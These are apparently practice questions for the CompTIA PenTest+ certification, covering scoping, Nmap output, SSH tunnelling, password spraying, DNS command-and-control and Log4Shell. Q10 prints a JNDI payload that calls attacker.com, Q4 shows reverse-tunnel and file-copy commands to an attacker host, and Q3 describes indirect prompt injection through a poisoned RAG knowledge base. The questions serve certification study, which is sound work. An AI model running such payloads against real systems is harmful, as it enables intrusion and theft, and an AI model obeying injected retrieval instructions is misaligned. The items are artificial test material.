Free CompTIA PenTest+ Practice Questions

Q1.During a penetration test, a junior tester on the team accidentally runs a denial-of-service attack against a production system that was explicitly listed as off-limits in the Rules of Engagement. The system experiences a brief outage before the attack is stopped. Which of the following BEST describes the potential consequences of this action? (Select TWO)

• A.The testing firm may face legal liability for unauthorized access to a system outside the agreed scope
• B.The junior tester will automatically lose their penetration testing certification
• C.The testing firm may be in breach of contract, potentially resulting in termination of the engagement and financial penalties
• D.The client is required to file a police report for any ROE violation
• E.The engagement results are automatically invalidated and cannot be used

Domain: Engagement Management

Q2.A penetration tester runs the following Nmap command and receives the output shown below. Based on this output, which of the following conclusions is MOST accurate? Command: nmap -sV -O -p 21,22,80,443,445,3389 192.168.1.100 Output: PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 7.4 80/tcp open http Apache httpd 2.4.29 443/tcp closed https 445/tcp open microsoft-ds Windows Server 2016 3389/tcp open ms-wbt-server Microsoft Terminal Services OS: Windows Server 2016

• A.The host is a standard Windows server with typical services and no anomalies
• B.The host is running Windows Server 2016 with an unusual configuration: vsftpd is a Linux FTP server running on a Windows host, which may indicate a containerized service or misconfiguration worth investigating
• C.HTTPS being closed means the server has no web presence
• D.The presence of both SSH and RDP means the system is dual-booted with Linux and Windows

Domain: Reconnaissance and Enumeration

Q3.A penetration tester is assessing an AI-powered customer service chatbot that uses Retrieval-Augmented Generation (RAG) to answer questions from a knowledge base. The tester embeds malicious instructions in a document that gets indexed into the knowledge base. When users interact with the chatbot, it follows the attacker's embedded instructions. What type of attack is this?

• A.Direct prompt injection, because the attacker directly interacts with the chatbot
• B.Indirect prompt injection, because malicious instructions are placed in external data sources that the LLM processes during retrieval
• C.Data poisoning, because the training data was corrupted
• D.Adversarial input attack, because the attacker crafted specific inputs to fool the model

Domain: Attacks and Exploits

Q4.A penetration tester has compromised a server in a DMZ that cannot make outbound connections to the attacker's machine. However, the attacker can SSH to the compromised server. The tester needs to access an internal service on port 22 of 10.0.0.50 from the compromised server. Which SSH tunnel command should the tester run from the compromised server?

• A.ssh -R 9090:10.0.0.50:22 attacker@attacker_ip, creating a reverse tunnel so the attacker can reach the internal service through localhost:9090
• B.ssh -L 9090:10.0.0.50:22 attacker@attacker_ip, creating a local forward on the compromised server
• C.ssh -D 9090 attacker@attacker_ip, creating a dynamic SOCKS proxy for all internal traffic
• D.scp -r 10.0.0.50:/etc/ attacker@attacker_ip:/tmp/, copying files directly through the SSH session

Domain: Post-Exploitation and Lateral Movement

Q5.A penetration tester discovers three individual findings during an assessment: a low-severity information disclosure that reveals internal IP addresses, a medium-severity SSRF vulnerability, and a low-severity default credential on an internal service. Individually, none are critical. How should the tester present these in the report?

• A.Present them as a vulnerability chain showing how the information disclosure enables SSRF targeting of internal services where default credentials grant unauthorized access, resulting in a critical combined impact
• B.Report each finding independently at its individual severity level without mentioning relationships between them
• C.Omit the two low-severity findings from the report and only include the medium-severity SSRF
• D.Average the three CVSS scores to calculate a combined severity rating

Domain: Vulnerability Discovery and Analysis

Q6.A penetration tester discovers a remote code execution vulnerability and calculates a CVSS v3.1 base score of 9.0 (Critical). Upon further research, the tester finds that no public exploit code exists, a vendor patch was released last week, and the vulnerability has not been confirmed by multiple independent sources. How do the CVSS temporal metrics affect the overall score?

• A.The temporal score will be lower than 9.0 because all three temporal metrics reduce the base score in this scenario
• B.The temporal score remains 9.0 because temporal metrics only increase scores
• C.The temporal score increases above 9.0 because the vendor patch proves the vulnerability is real
• D.Temporal metrics have no effect because they are optional and rarely used

Domain: Engagement Management

Q7.A penetration tester is conducting a network scan against a production environment during business hours and wants to balance speed with stealth to avoid disrupting operations or triggering IDS alerts. The tester is currently using the default Nmap timing template. Which timing template is the tester using, and what would be a more appropriate choice for this scenario?

• A.The default is -T3 (normal), and the tester should consider using -T2 (polite) to reduce the chance of disruption and detection
• B.-T4 is the default, and the tester should switch to -T3 for production environments
• C.The default is -T1 (sneaky), and no change is needed for production environments
• D.-T5 is the default, and the tester should reduce to -T4 for production use

Domain: Reconnaissance and Enumeration

Q8.A penetration tester is planning a password attack against a client's Microsoft 365 tenant. The tester wants to test a small set of commonly used passwords against all discovered user accounts while minimizing account lockouts. Which of the following are characteristics of the password spraying technique that make it suitable for this scenario? (Select TWO)

• A.It tests one or a few passwords against many accounts before moving to the next password, avoiding per-account lockout thresholds
• B.It tries every possible password combination against a single account before moving to the next
• C.Tools like MSOLSpray are specifically designed for spraying against Azure AD/Office 365 endpoints with built-in lockout awareness
• D.It requires extracting password hashes from the target environment before testing
• E.It works by intercepting authentication tokens from the network

Domain: Attacks and Exploits

Q9.A penetration tester needs to establish a covert command-and-control channel that can bypass most firewalls and content inspection systems. The tester decides to tunnel C2 communications over DNS queries to a domain they control. Which tool requires the tester to set up an authoritative DNS server for their domain to relay the tunneled traffic?

• A.Netcat, which can be configured to listen on DNS port 53 for tunneled connections
• B.dnscat2, which requires running dnscat2-server on an authoritative DNS server for the attacker's domain to relay C2 traffic through DNS queries
• C.Meterpreter with reverse_dns payload, which handles DNS tunneling automatically
• D.Cobalt Strike's HTTP beacon, which can fall back to DNS if HTTP is blocked

Domain: Post-Exploitation and Lateral Movement

Q10.A penetration tester discovers that a client's Java-based web application is using Apache Log4j version 2.14.1. The tester crafts a request containing ${jndi:ldap://attacker.com/exploit} in the User-Agent header. Which vulnerability is the tester attempting to exploit, and what is the recommended mitigation?

• A.CVE-2021-44228 is a denial-of-service vulnerability that crashes the Java application
• B.Log4Shell (CVE-2021-44228) - a JNDI lookup RCE vulnerability; the immediate mitigation is setting formatMsgNoLookups=true or upgrading Log4j to a patched version
• C.This is a Server-Side Request Forgery vulnerability specific to LDAP
• D.The vulnerability only affects Log4j version 1.x and this version is not affected

Domain: Vulnerability Discovery and Analysis